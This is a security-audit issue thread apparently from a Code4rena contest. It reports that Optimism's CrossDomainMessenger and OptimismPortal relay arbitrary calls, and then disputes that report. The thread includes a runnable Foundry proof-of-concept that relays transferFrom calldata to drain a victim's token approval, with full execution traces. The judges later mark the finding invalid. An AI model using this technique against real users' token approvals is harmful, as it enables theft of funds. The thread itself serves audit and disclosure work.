code423n4 commented 1 year ago

Lines of code

https://github.com/ethereum-optimism/optimism/blob/382d38b7d45bcbf73cb5e1e3f28cbd45d24e8a59/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L405 https://github.com/ethereum-optimism/optimism/blob/382d38b7d45bcbf73cb5e1e3f28cbd45d24e8a59/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L394

Vulnerability details

Impact

Contracts CrossDomainMessenger and OptimismPortal are part of the bridge protocol and they are responsible for sending messages between two network. they both call arbitrary address with arbitrary data that user specified and it would give attacker to transfer any funds that those contracts has allowance. users should be informed about this risk.

Proof of Concept

Contract CrossDomainMessenger in function relayMessage() calls address with data that are specified by user:

xDomainMsgSender = _sender;
bool success = SafeCall.call(_target, gasleft() - RELAY_GAS_BUFFER, _value, _message);
xDomainMsgSender = Constants.DEFAULT_L2_SENDER;

and Contract OptimismPortal in function finalizeWithdrawalTransaction() do the same:

bool success = SafeCall.call(
    _tx.target,
    gasleft() - FINALIZE_GAS_BUFFER,
    _tx.value,
    _tx.data
);

so attacker can force this contract to make arbitrary call to any address just by initiating the message from another network. if these contract holds any token or has allowance to spend any token (users gives allowance by mistake) then attacker can steal those funds buy creating this message from other network:

the attacker can set the target to ERC20 token address

and construct the call data using

aib.encodeWithSelector(IERC20.transferFrom.selector, victimAddress, attackerAddress, amount)

and if user give any allowance to the CrossDomainMessenger and OptimismPortal

attacker can steal fund from user via arbitrary call

the impact is clear

if contract OptimismPortal in L1 or contracts CrossDomainMessenger in L1 and L2 have any token balance then attacker can steal them. this balance can be from users which transferred them by mistake or by social engineering.
if users give token spending allowance for contract OptimismPortal in L1 or contracts CrossDomainMessenger in L1 and L2 then attacker can steal users tokens.

Users often provide spending allowances or access to contracts within the Optimism protocol for various reasons.

One common reason is to facilitate gasless transfers from Layer 2 (L2) to Layer 1 (L1) using the L2->L1 CrossDomainMessenger. This allows users to send messages from L2 to L1 without needing the native token of L1 for gas payment. However, this practice carries the risk of potential fund theft if an attacker exploits the spending allowance granted to these contracts.

Another scenario where users grant spending allowances is when they want to send messages from L1 to L2 and manage their ERC20 or ERC721 tokens in L2. However, if users mistakenly provide spending allowances to the wrong contracts, such as the L2CrossDomainMessenger, it can result in the loss of their funds. This risk is especially significant considering that the addresses of these contracts can be very similar, leading to potential mistakes when entering them.

Users may also deploy contracts in L1 and set the L1CrossDomainMessenger as the contract owner/admin. This allows them to manage the contract from L2 by sending messages. However, this approach also exposes the funds to potential theft if others gain access to and exploit the abilities of the L1CrossDomainMessenger.

Paragraph 4: It is important to note that these risks and vulnerabilities exist, yet the protocol does not provide adequate protection or guidance to prevent users from falling victim to them. Users are not sufficiently informed about the potential dangers associated with granting spending allowances or accessing certain contracts, and as a result, they may unknowingly expose themselves to significant financial losses.

Tools Used

Manual Review

Recommended Mitigation Steps

Consider giving users warning about this that they shouldn't give allowance to these contracts and contract may perform malicious actions.

Assessed type

call/delegatecall

c4-judge commented 1 year ago

0xleastwood marked the issue as primary issue

c4-judge commented 1 year ago

0xleastwood marked the issue as satisfactory

c4-judge commented 1 year ago

0xleastwood marked the issue as selected for report

anupsv commented 1 year ago

Please provide a end to end test to show the impact discussed.

c4-sponsor commented 1 year ago

anupsv marked the issue as sponsor disputed

itsmetechjay commented 1 year ago

@JeffCX please provide test per the sponsor's request.

JeffCX commented 1 year ago

the fully runnable POC:

Here is my POC:

The fully runnable POC zip can be downloaded and executed, it is a new folder

https://drive.google.com/file/d/1SoWASLW8ky8dK1_-bvFhg6yWEy5-MqQr/view?usp=sharing

The function call path is simpler to understand:

user approve token spending on L1CrossDomainMessenger
a malicious actor detect the approval
a malicious actor send a cross-message from l2 to l1 to perform arbitrary call to steal the user's fund

the POC:

https://gist.github.com/JeffCX/fac07ae605cd378f2953017c994fbd94

the relevant code test:

 function testStealApprovalPOC() public {

        MockERC20 token = new MockERC20();

        address victim = vm.addr(19970416);

        token.mint(victim, 100 ether);

        vm.prank(victim);
        token.approve(address(l1Messenger), 1000 ether);

        // send a message from L2 and L1 and construct a malicious payload
        address target = address(token);
        uint32 minGas = 100000000 wei;
        bytes memory message = abi.encodeWithSelector(
            IERC20.transferFrom.selector,
            victim,
            alice,
            100 ether
        );

        // send L2 message from L2 to L1
        l2CrossDomainMessenger.sendMessage(
            target, 
            message,
            minGas
        );

        // execute the cross-chain message to steal 
        // victim's token

        uint256 victimBalanceBefore = token.balanceOf(victim);
        console.log("victim balance before", victimBalanceBefore);

        l1Messenger.relayMessage(
            1,
            address(l2CrossDomainMessenger),
            target,
            0,
            minGas,
            message
        );

        uint256 victimBalanceAfter = token.balanceOf(victim);
        console.log("victim balance after", victimBalanceAfter);

    }

we run the test:

forge test -vvvv --match testStealApprovalPOC

Running 1 test for test/Counter.t.sol:CounterTest
[PASS] testStealApprovalPOC() (gas: 910573)      
Logs:
  victim balance before 100000000000000000000    
  line 320 ----
  how many gas left? 9079256848778045191
  has min gas true
  ------
  victim balance after 0

Traces:
  [910573] CounterTest::testStealApprovalPOC() 
    ├─ [713990] → new MockERC20@0x1d1499e622D69689cdf9004d05Ec547d650Ff211
    │   ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 3222 bytes of code
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← 0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2
    ├─ [46836] MockERC20::mint(0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2, 100000000000000000000)
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2, value: 100000000000000000000)
    │   └─ ← ()
    ├─ [0] VM::prank(0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2)
    │   └─ ← ()
    ├─ [24652] MockERC20::approve(L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1000000000000000000000)
    │   ├─ emit Approval(owner: 0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2, spender: L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 1000000000000000000000)
    │   └─ ← true
    ├─ [16537] L2CrossDomainMessenger::sendMessage(MockERC20: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0x23b872dd000000000000000000000000b2bffd56a7a3af471a3cfe7591c5d6598fe2cbb2000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000056bc75e2d63100000, 100000000)
    │   ├─ [8207] L2ToL1MessagePasser::initiateWithdrawal(L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 101873901, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000001d1499e622d69689cdf9004d05ec547d650ff21100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000006423b872dd000000000000000000000000b2bffd56a7a3af471a3cfe7591c5d6598fe2cbb2000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000056bc75e2d6310000000000000000000000000000000000000000000000000000000000000)
    │   │   ├─ emit MessagePassed(nonce: 1, sender: L2CrossDomainMessenger: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], target: L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 0, gasLimit: 101873901, data: 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000001d1499e622d69689cdf9004d05ec547d650ff21100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000006423b872dd000000000000000000000000b2bffd56a7a3af471a3cfe7591c5d6598fe2cbb2000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000056bc75e2d6310000000000000000000000000000000000000000000000000000000000000, withdrawalHash: 0x6861736800000000000000000000000000000000000000000000000000000000)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [563] MockERC20::balanceOf(0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2) [staticcall]
    │   └─ ← 100000000000000000000
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000001576696374696d2062616c616e6365206265666f72650000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [59701] L1CrossDomainMeseenger::relayMessage(1, L2CrossDomainMessenger: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], MockERC20: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0, 100000000, 0x23b872dd000000000000000000000000b2bffd56a7a3af471a3cfe7591c5d6598fe2cbb2000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000056bc75e2d63100000)
    │   ├─ [0] console::log(line 320 ----) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000007dfffffffff2a7070000000000000000000000000000000000000000000000000000000000000012686f77206d616e7920676173206c6566743f0000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log(has min gas, true) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log(------) [staticcall]
    │   │   └─ ← ()
    │   ├─ [22197] MockERC20::transferFrom(0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2, 0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 100000000000000000000)
    │   │   ├─ emit Approval(owner: 0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2, spender: L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 900000000000000000000)
    │   │   ├─ emit Transfer(from: 0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2, to: 0xBC0B7b343230Da311A16ff45759c31A945CD4E76, value: 100000000000000000000)
    │   │   └─ ← true
    │   ├─ emit RelayedMessage(msgHash: 0xcc4fda0c344da045ae0aebc8c408dd671637458b654dd0b5e0a0410623676ebf)
    │   └─ ← ()
    ├─ [563] MockERC20::balanceOf(0xB2BffD56A7A3aF471A3cFE7591C5d6598fe2cbb2) [staticcall]
    │   └─ ← 0
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001476696374696d2062616c616e6365206166746572000000000000000000000000) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 2.47ms

0xleastwood commented 1 year ago

While this seems valid, I don't understand why there would be approvals for this contract in the first place.

anupsv commented 1 year ago

The description of the contracts are normal operations since they hold funds are create bridge operations. For the specified behavior to occur, key compromise would be required for attacker to take control of bridge funds.

0xleastwood commented 1 year ago

In what sense is key compromise necessary for this attack? @anupsv

JeffCX commented 1 year ago

This is the Post QA period, so I think it is a proper time to leave comments,

As long as a user give token approval to cross domain message (either L1 or L2)

a malicious actor can detect the approval and send a cross-chain message to steal fund from user via arbitrary transfer.

the precondition is user's give approval.

I want to say because the cross-chain message is very general and designed to send and support any cross-chain message, for example, user may want to use the cross-chain message to perform dex trade (sounds like a make-sense use case but clearly cause loss of fund because of the vulnerability described in this report)

In fact, I feel like this report is comparable to report

https://github.com/code-423n4/2023-05-base-findings/issues/72

pre-condition: user give approval, user lose fund (this report)
pre-condition user set the min gas limit too high that exceed block limit and lose fund (issue 72)

so I humbly suggest

make 72 a medium or and leave this as a medium

or

keep 72 high and upgrade this one to high severity

I respect the judge's effort and expertise and will have no more dispute and respect the judge's final decision

anupsv commented 1 year ago

@0xleastwood The claim that either of these contracts, since they call arbitrary address, could be exploited suggests that apart from normal bridge functionality, only other way this would be possible is key compromise so that the attacker can transfer out the funds in the contract.

JeffCX commented 1 year ago

Once user give approval to the contract,

the arbitrary call is like

bytes data = abi.encodeWithSelector(IERC20.transferFrom, victimAddress, hackerAddress, amount);
tokenAddress.call(data)

the attack does not transfer out the fund in the portal contract, the attack use the call to transfer the fund directly from user account as shown in POC

rvierdiiev commented 1 year ago

@0xleastwood @JeffCX in order to bridge funds using the bridge, user should send tokens to bridge(for example L1 bridge)

so user should not provide approval for CDM or OptimismPortal

you should be able to steal directly from bridge, as user will provide approval for bridge only so its likely that CDM will not have any approvals

JeffCX commented 1 year ago

This is the Post QA period, so I think it is a proper time to leave comments,

As long as a user give token approval to cross domain message (either L1 or L2)

a malicious actor can detect the approval and send a cross-chain message to steal fund from user via arbitrary transfer.

the precondition is user's give approval.

I want to say because the cross-chain message is very general and designed to send and support any cross-chain message, for example, user may want to use the cross-chain message to perform dex trade (sounds like a make-sense use case but clearly cause loss of fund because of the vulnerability described in this report)

In fact, I feel like this report is comparable to report

72

pre-condition: user give approval, user lose fund (this report)

pre-condition user set the min gas limit too high that exceed block limit and lose fund (issue 72)

so I humbly suggest

make 72 a medium or and leave this as a medium

or

keep 72 high and upgrade this one to high severity

I respect the judge's effort and expertise and will have no more dispute and respect the judge's final decision

here

antojoseph commented 1 year ago

This is not an issue. The pre-condition is that a user should approve the said contract to transfer tokens. If you have token approval, you can transfer them, thats not a hack , its not a vulnerability, but the intended function of approvals. The pre-condition invalidates this hack. The protocol works as intended and as per the spec.

c4-judge commented 1 year ago

0xleastwood marked the issue as unsatisfactory: Invalid

code-423n4 / 2023-05-base-findings

Attacker can steal CrossDomainMessenger and OptimismPortal token balances or tokens of anyone give approval for those contracts #114

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps

Assessed type

72